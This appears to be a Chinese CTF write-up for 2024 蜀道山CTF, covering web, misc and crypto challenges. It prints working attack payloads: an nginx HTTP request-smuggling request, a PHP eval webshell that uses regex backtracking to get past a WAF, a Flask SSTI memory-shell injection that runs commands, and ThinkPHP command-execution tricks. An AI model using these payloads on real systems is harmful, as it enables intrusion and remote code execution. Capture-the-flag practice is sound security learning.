web

海关警察训练平台

查看其nginx版本为1.17.60
搜索可以发现该版本可以发现该版本存在请求走私

题目又说其flag在http://infernityhost/flag.html

1
2
3
4
5
6
7
8
9
10
11
12
GET / HTTP/1.1
Host: gamebox.yunyansec.com
Content-Length: 4
Transfer-Encoding : chunked

46
GET /flag.html HTTP/1.1
Host:infernityhost
Content-Length:15

kk
0s

(CVE-2020-12440)Nginx <= 1.8.0 请求走私

奶龙waf

首先需要绕过后缀检测,因为其将GET传值的name通过 $fileExtension = strtolower(pathinfo($name, PATHINFO_EXTENSION));来获取文件名后缀那么我们就可以使用/.来进行绕绕过

看源码会发现waf拦的很死,但是我们只要使其检测的结果为false即可,那么这就可以想到使用正则回溯来绕过

可以看到其waf会匹配注释符之间的字符
那么我只要在注释符中塞100万格a然后再后面写上马即可绕过检测命令执行


1
2
3
4
5
6
7
8
9
10
11
12

# 文件路径
file_path = 'f.txt'

# 要写入的内容
content = '/*' + 'a' * 1000003+"*/"+"<?php eval($_POST['txt']);"

# 写入文件
with open(file_path, 'w') as file:
file.write(content)

print(f"内容已写入文件:{file_path}")

my_site

这题是赛后复现的,打比赛的时候感觉逻辑和怪就没有去写了。赛后再群里bao师傅说其实就是单身杯的那题我就去复现了一下。其实难度还好就是触发点是真不好找
SSTI的洞就是出现再rot13解密后输出的地方
但bao师傅出的SSTI有点怪我也没往DSBCTF的那题去想,测不出来就去搞别的题了。测了一下
可以之间打内存马

1
url_for['__glo'+'bals__']['__bui'+'ltins__']["exec"]("exc_class, code = __import__('sys').modules['__main__'].__dict__['app']._get_exc_class_and_code(404);__import__('sys').modules['__main__'].__dict__['app'].error_handler_spec[None][code][exc_class] = lambda err: __import__('os').popen(request.args.get('shell')).read()",{'request':url_for['__glo'+'bals__']['request']})

rot13编码后在解密即可

恶意代码检测

着题在一开始看的时候其实我已经发现了在不输入黑名单内字符时,其内容会被双引号包裹然后写入到文件里。之后再进行文件包含,着就导致一个问题我们。再双引号内其实是可以进行命令执行的。
如下

再经过尝试后也确实发现了。可以执行sleep(3)

于是一开始我在本地尝试构造payload构造出了如下payload

1
${$a=sl}${$b=eep}${$c=$a.$b}${$c(3)}

这个虽然在本地运行成功了
但在远程并没有触发sleep(3) 怀疑是因为tp框架在第一个${}就产生了一个Warning然后就停止运行后面的了

比赛后看了wp发现竟然还能这么绕

1
${input(0)(input(1))}

input是tp获取http请求的一个函数,只能说还是对tp不够了解吧

比赛的时候我也就卡在了这个的地方

MISC

神奇的硬币纺纱机

全输0就好了

golf

python可以解析斜体字符
直接利用unicode斜体字符来绕即可

1
print(𝑓lag)

Elemental Wars

随便输总会赢的。

欢迎来到2024蜀道山CTF

密码

xorrsa

  • 看题目可能是和异或有关,但是拿到附件查看和异或没啥关系,q都已知了,n也知道了,e也知道了,直接可以简单计算出来了
  • 这里本质上是考察e和phi_n不互素的情况
  • 直接将e//gcd(e,phi_n)phi_n的逆元求出来,将m计算出来,最后将m开gcd(e,phi_n)次方即可

  • exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
c = 13760578729891127041098229431259961120216468948795732373975536417751222443069805775693845560005881981622202089883866395577154701229046245882282127054969114210307175116574178428823043817041956207503299220721042136515863979655578210499512044917781566303947681251248645504273995402630701480590505840473412765662
n = 14247038211821385209759067256846232227444163173099199085257790370590450749665206556163364754269182255358084948354345827898987234756662133974633117062902370811855466665351784027125333112663075085395676501121759786699720149098576433141817737564928779420725539793335830274229206316999461309927000523188222801659
hint1 = 8938538619961731399716016665470564084986243880394928918482374295814509353382364651201249532111268951793354572124324033902502588541297713297622432670722730
hint2 = 1493298155243474837320092849325750387759519643879388609208314494000605554020636706320849032906759121914762492378489852575583260177546578935320977613050647
e=2026
p = n//hint2
phi_n = (p-1)*(hint2-1)
import gmpy2
import libnum
print(gmpy2.gcd(e,phi_n))
d = gmpy2.invert(e//2,phi_n)
m = pow(c,d,n)
m = libnum.nroot(m,2)
print(libnum.n2s(m))